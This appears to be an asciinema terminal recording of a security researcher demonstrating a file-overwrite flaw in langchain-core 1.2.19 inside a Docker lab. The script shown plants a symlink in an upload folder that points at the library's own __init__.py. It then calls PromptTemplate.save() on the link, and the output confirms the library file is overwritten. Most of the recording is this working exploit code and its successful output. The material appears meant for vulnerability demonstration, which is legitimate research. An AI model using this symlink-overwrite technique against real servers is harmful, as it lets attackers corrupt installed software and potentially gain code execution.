{"version": 2, "width": 210, "height": 54, "timestamp": 1775704207, "env": {"SHELL": "/bin/bash", "TERM": "xterm"}}
[0.028117, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[6.703766, "o", "\u001b[7m# Start fresh Docker container\u001b[27m\r\n\r\u001b[7mcd ~/langchain_lab\u001b[27m\r\n\r\u001b[7msudo docker run -it --rm \\\u001b[27m\r\n\r\u001b[7m  --name langchain_exploit_lab \\\u001b[27m\r\n\r\u001b[7m  -v $(pwd):/app \\\u001b[27m\r\n\r\u001b[7m  -w /app \\\u001b[27m\r\n\r\u001b[7m  python:3.12-slim /bin/bash\u001b[27m\r\n\r"]
[7.574874, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C# Start fresh Docker container\r\n\rcd ~/langchain_lab\r\n\rsudo docker run -it --rm \\\r\n\r  --name langchain_exploit_lab \\\r\n\r  -v $(pwd):/app \\\r\n\r  -w /app \\\r\n\r  python:3.12-slim /bin/bash\r\n\r\u001b[A\r\n\u001b[?2004l\r"]
[7.585917, "o", "[sudo] password for vboxuser: "]
[14.173064, "o", "\r\n"]
[14.811689, "o", "\u001b[?2004hroot@27fd374cb8f6:/app# "]
[16.024896, "o", "\r\n\u001b[?2004l\r\u001b[?2004hroot@27fd374cb8f6:/app# "]
[16.239992, "o", "\r\n\u001b[?2004l\r\u001b[?2004hroot@27fd374cb8f6:/app# "]
[16.448184, "o", "\r\n\u001b[?2004l\r\u001b[?2004hroot@27fd374cb8f6:/app# "]
[24.28689, "o", "\u001b[7m# Install vulnerable LangChain version\u001b[27m"]
[24.296539, "o", "\r\n\r\u001b[7mpip install langchain-core==1.2.19\u001b[27m"]
[25.236816, "o", "\u001b[A\b\b\b\b\b\b\b\b\b\b# Install vulnerable LangChain version\r\n\rpip install langchain-core==1.2.19\r\n\u001b[?2004l\r"]
[28.266277, "o", "Collecting langchain-core==1.2.19\r\n"]
[28.478712, "o", "  Downloading langchain_core-1.2.19-py3-none-any.whl.metadata (4.4 kB)\r\n"]
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[28.600515, "o", "\r\n"]
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[29.078368, "o", "Collecting packaging>=23.2.0 (from langchain-core==1.2.19)\r\n"]
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[29.10864, "o", "\r\n"]
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[29.572618, "o", "Collecting pyyaml<7.0.0,>=5.3.0 (from langchain-core==1.2.19)\r\n"]
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[29.705634, "o", "Collecting tenacity!=8.4.0,<10.0.0,>=8.1.0 (from langchain-core==1.2.19)\r\n"]
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[29.897225, "o", "Collecting typing-extensions<5.0.0,>=4.7.0 (from langchain-core==1.2.19)"]
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[30.134286, "o", "Collecting uuid-utils<1.0,>=0.12.0 (from langchain-core==1.2.19)\r\n"]
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[30.272972, "o", "Collecting jsonpointer>=1.9 (from jsonpatch<2.0.0,>=1.33.0->langchain-core==1.2.19)\r\n"]
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[30.471503, "o", "Collecting httpx<1,>=0.23.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19)\r\n"]
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[30.908253, "o", "Collecting orjson>=3.9.14 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19)\r\n"]
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[31.082267, "o", "Collecting requests-toolbelt>=1.0.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19)\r\n"]
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[31.486788, "o", "Collecting xxhash>=3.0.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19)\r\n"]
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[31.669668, "o", "Collecting zstandard>=0.23.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19)"]
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[31.830407, "o", "Collecting annotated-types>=0.6.0 (from pydantic<3.0.0,>=2.7.4->langchain-core==1.2.19)\r\n"]
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[32.964343, "o", "Collecting pydantic-core==2.41.5 (from pydantic<3.0.0,>=2.7.4->langchain-core==1.2.19)"]
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[33.545029, "o", "Collecting httpcore==1.* (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19)"]
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[38.35088, "o", "Installing collected packages: zstandard, xxhash, uuid-utils, urllib3, typing-extensions, tenacity, pyyaml, packaging, orjson, jsonpointer, idna, h11, charset_normalizer, certifi, annotated-types, typing-inspection, requests, pydantic-core, jsonpatch, httpcore, anyio, requests-toolbelt, pydantic, httpx, langsmith, langchain-core\r\n"]
[40.957786, "o", "Successfully installed annotated-types-0.7.0 anyio-4.13.0 certifi-2026.2.25 charset_normalizer-3.4.7 h11-0.16.0 httpcore-1.0.9 httpx-0.28.1 idna-3.11 jsonpatch-1.33 jsonpointer-3.1.1 langchain-core-1.2.19 langsmith-0.7.28 orjson-3.11.8 packaging-26.0 pydantic-2.12.5 pydantic-core-2.41.5 pyyaml-6.0.3 requests-2.33.1 requests-toolbelt-1.0.0 tenacity-9.1.4 typing-extensions-4.15.0 typing-inspection-0.4.2 urllib3-2.6.3 uuid-utils-0.14.1 xxhash-3.6.0 zstandard-0.25.0\r\n"]
[40.970673, "o", "\u001b[33mWARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager, possibly rendering your system unusable. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv. Use the --root-user-action option if you know what you are doing and want to suppress this warning.\u001b[0m\u001b[33m\r\n\u001b[0m"]
[41.24604, "o", "\r\n\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m A new release of pip is available: \u001b[0m\u001b[31;49m25.0.1\u001b[0m\u001b[39;49m -> \u001b[0m\u001b[32;49m26.0.1\u001b[0m\r\n\u001b[1m[\u001b[0m\u001b[34;49mnotice\u001b[0m\u001b[1;39;49m]\u001b[0m\u001b[39;49m To update, run: \u001b[0m\u001b[32;49mpip install --upgrade pip\u001b[0m\r\n"]
[41.47896, "o", "\u001b[?2004hroot@27fd374cb8f6:/app# "]
[45.705687, "o", "\r\n\u001b[?2004l\r\u001b[?2004hroot@27fd374cb8f6:/app# "]
[46.208988, "o", "\r\n\u001b[?2004l\r\u001b[?2004hroot@27fd374cb8f6:/app# "]
[46.249883, "o", "\r\n\u001b[?2004l\r\u001b[?2004hroot@27fd374cb8f6:/app# "]
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[46.27273, "o", "root@27fd374cb8f6:/app# "]
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[47.158594, "o", "\u001b[7mcat << 'EOF' > remote_exploit_sim.py\u001b[27m\r\n\r\u001b[7mimport os, pathlib, langchain_core\u001b[27m\r\n\r\u001b[7mfrom langchain_core.prompts import PromptTemplate\u001b[27m\r\n\r\n\r\u001b[7m# 1. SETUP\u001b[27m\r\n\r\u001b[7mLIB_INIT = pathlib.Path(langchain_core.__file__)\u001b[27m\r\n\r\u001b[7mUPLOAD_DIR = pathlib.Path(\"./user_uploads\")\u001b[27m\r\n\r\u001b[7mUPLOAD_DIR.mkdir(exist_ok=True)\u001b[27m\r\n\r\u001b[7mPAYLOAD_LINK = UPLOAD_DIR / \"malicious_link.json\"\u001b[27m\r\n\r\u001b[7mMARKER = \"### CRITICAL_INTEGRITY_FAILURE_JDP_SECURITY ###\"\u001b[27m\r\n\r\n\r\u001b[7mprint(f\"[*] Target System File: {LIB_INIT}\")\u001b[27m\r\n\r\n\r\u001b[7m# 2. THE \"REMOTE\" SIMULATION\u001b[27m\r\n\r\u001b[7m# We are simulating a server unzipping a user-uploaded file that contains a symlink.\u001b[27m\r\n\r\u001b[7mprint(\"\\n[!] STAGE 1: Server extracts 'user_data.zip' (simulated)...\")\u001b[27m\r\n\r\u001b[7mif os.path.exists(PAYLOAD_LINK): os.remove(PAYLOAD_LINK)\u001b[27m\r\n\r\u001b[7mos.symlink(str(LIB_INIT), PAYLOAD_LINK) \u001b[27m\r\n\r\u001b[7mprint(f\"[*] Verified: Data-driven symlink created at {PAYLOAD_LINK}\")\u001b[27m\r\n\r\n\r\u001b[7m# 3. VERIFY INITIAL STATE\u001b[27m\r\n\r\u001b[7mwith open(LIB_INIT, \"r\") as f:\u001b[27m\r\n\r\u001b[7m    orig = f.read(50)\u001b[27m\r\n\r\u001b[7m    print(f\"[*] Original Library Header: {orig.strip()}...\")\u001b[27m\r\n\r\n\r\u001b[7m# 4. THE EXPLOIT (The \"Confused Deputy\" call)\u001b[27m\r\n\r\u001b[7mprint(\"\\n[!] STAGE 2: Triggering LangChain logic via standard .save()...\")\u001b[27m\r\n\r\u001b[7mprompt = PromptTemplate(template=MARKER, input_variables=[])\u001b[27m\r\n\r\n\r\u001b[7mtry:\u001b[27m\r\n\r\u001b[7m    # This is the \"Deputy\" doing the dirty work\u001b[27m\r\n\r\u001b[7m    prompt.save(str(PAYLOAD_LINK))\u001b[27m\r\n\r\u001b[7m    print(\"[*] .save() completed.\")\u001b[27m\r\n\r\u001b[7mexcept Exception as e:\u001b[27m\r\n\r\u001b[7m    print(f\"[!] Error during save: {e}\")\u001b[27m\r\n\r\n\r\u001b[7m# 5. THE SMOKING GUN\u001b[27m\r\n\r\u001b[7mprint(\"\\n[!] STAGE 3: Final Verification...\")\u001b[27m\r\n\r\u001b[7mwith open(LIB_INIT, \"r\") as f:\u001b[27m\r\n\r\u001b[7m    current_content = f.read()\u001b[27m\r\n\r\u001b[7m    if MARKER in current_content:\u001b[27m\r\n\r\u001b[7m        print(\"=\"*40)\u001b[27m\r\n\r\u001b[7m        print(\"✅ SUCCESS: SCOPE CHANGE DETECTED!\")\u001b[27m\r\n\r\u001b[7m        print(f\"✅ SYSTEM FILE POISONED: {LIB_INIT}\")\u001b[27m\r\n\r\u001b[7m        print(f\"✅ CONTENT: {current_content.strip()}\")\u001b[27m\r\n\r\u001b[7m        print(\"=\"*40)\u001b[27m\r\n\r\u001b[7m    else:\u001b[27m\r\n\r\u001b[7m        print(\"❌ FAILED: Content was not overwritten. Checking symlink...\")\u001b[27m\r\n\r\u001b[7m        print(f\"[*] Target still exists? {LIB_INIT.exists()}\")\u001b[27m\r\n\r\u001b[7mEOF\u001b[27m"]
[48.095055, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[Ccat << 'EOF' > remote_exploit_sim.py\r\n\rimport os, pathlib, langchain_core\r\n\rfrom langchain_core.prompts import PromptTemplate\r\n\r\n\r# 1. SETUP\r\n\rLIB_INIT = pathlib.Path(langchain_core.__file__)\r\n\rUPLOAD_DIR = pathlib.Path(\"./user_uploads\")\r\n\rUPLOAD_DIR.mkdir(exist_ok=True)\r\n\rPAYLOAD_LINK = UPLOAD_DIR / \"malicious_link.json\"\r\n\rMARKER = \"### CRITICAL_INTEGRITY_FAILURE_JDP_SECURITY ###\"\r\n\r\n\rprint(f\"[*] Target System File: {LIB_INIT}\")\r\n\r\n\r# 2. THE \"REMOTE\" SIMULATION\r\n\r# We are simulating a server unzipping a user-uploaded file that contains a symlink.\r\n\rprint(\"\\n[!] STAGE 1: Server extracts 'user_data.zip' (simulated)...\")\r\n\rif os.path.exists(PAYLOAD_LINK): os.remove(PAYLOAD_LINK)\r\n\ros.symlink(str(LIB_INIT), PAYLOAD_LINK) \r\n\rprint(f\"[*] Verified: Data-driven symlink created at {PAYLOAD_LINK}\")\r\n\r\n\r# 3. VERIFY INITIAL STATE\r\n\rwith open(LIB_INIT, \"r\") as f:\r\n\r    orig = f.read(50)\r\n\r    print(f\"[*] Original Library Header: {orig.strip()}...\")\r\n\r\n\r# 4. THE EXPLOIT (The \"Confused Deputy\" call)\r\n\rprint(\"\\n[!] STAGE 2: Triggering LangChain logic via standard .save()...\")\r\n\rprompt = PromptTemplate(template=MARKER, input_variables=[])\r\n\r\n\rtry:\r\n\r    # This is the \"Deputy\" doing the dirty work\r\n\r    prompt.save(str(PAYLOAD_LINK))\r\n\r    print(\"[*] .save() completed.\")\r\n\rexcept Exception as e:\r\n\r    print(f\"[!] Error during save: {e}\")\r\n\r\n\r# 5. THE SMOKING GUN\r\n\rprint(\"\\n[!] STAGE 3: Final Verification...\")\r\n\rwith open(LIB_INIT, \"r\") as f:\r\n\r    current_content = f.read()\r\n\r    if MARKER in current_content:\r\n\r        print(\"=\"*40)\r\n\r        print(\"✅ SUCCESS: SCOPE CHANGE DETECTED!\")\r\n\r        print(f\"✅ SYSTEM FILE POISONED: {LIB_INIT}\")\r\n\r        print(f\"✅ CONTENT: {current_content.strip()}\")\r\n\r        print(\"=\"*40)\r\n\r    else:\r\n\r        print(\"❌ FAILED: Content was not overwritten. Checking symlink...\")\r\n\r       "]
[48.095921, "o", " print(f\"[*] Target still exists? {LIB_INIT.exists()}\")\r\n\rEOF\r\n\u001b[?2004l\r"]
[48.104703, "o", "\u001b[?2004hroot@27fd374cb8f6:/app# "]
[48.853126, "o", "\r\n"]
[48.854894, "o", "\u001b[?2004l\r\u001b[?2004hroot@27fd374cb8f6:/app# "]
[49.020154, "o", "\r\n\u001b[?2004l\r"]
[49.023227, "o", "\u001b[?2004hroot@27fd374cb8f6:/app# "]
[56.152753, "o", "\u001b[7mpython remote_exploit_sim.py\u001b[27m"]
[57.047454, "o", "\r\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[Cpython remote_exploit_sim.py\r\n\u001b[?2004l\r"]
[58.118394, "o", "[*] Target System File: /usr/local/lib/python3.12/site-packages/langchain_core/__init__.py\r\n\r\n[!] STAGE 1: Server extracts 'user_data.zip' (simulated)...\r\n[*] Verified: Data-driven symlink created at user_uploads/malicious_link.json\r\n[*] Original Library Header: \"\"\"`langchain-core` defines the base abstractions...\r\n\r\n[!] STAGE 2: Triggering LangChain logic via standard .save()...\r\n"]
[58.162678, "o", "[*] .save() completed.\r\n\r\n[!] STAGE 3: Final Verification...\r\n========================================\r\n✅ SUCCESS: SCOPE CHANGE DETECTED!\r\n✅ SYSTEM FILE POISONED: /usr/local/lib/python3.12/site-packages/langchain_core/__init__.py\r\n✅ CONTENT: {\r\n    \"name\": null,\r\n    \"input_variables\": [],\r\n    \"optional_variables\": [],\r\n    \"output_parser\": null,\r\n    \"partial_variables\": {},\r\n    \"metadata\": null,\r\n    \"tags\": null,\r\n    \"template\": \"### CRITICAL_INTEGRITY_FAILURE_JDP_SECURITY ###\",\r\n    \"template_format\": \"f-string\",\r\n    \"validate_template\": false,\r\n    \"_type\": \"prompt\"\r\n}\r\n========================================\r\n"]
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[62.952395, "o", "e"]
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[63.35129, "o", "i"]
[63.434529, "o", "t"]
[64.046587, "o", "\r\n\u001b[?2004l\rexit\r\n"]
[64.664224, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/langchain_lab\u0007vboxuser@Ubuntu-Server:~/langchain_lab$ "]
[66.16523, "o", "\u001b[?2004l\r\r\n"]
[66.167469, "o", "exit\r\n"]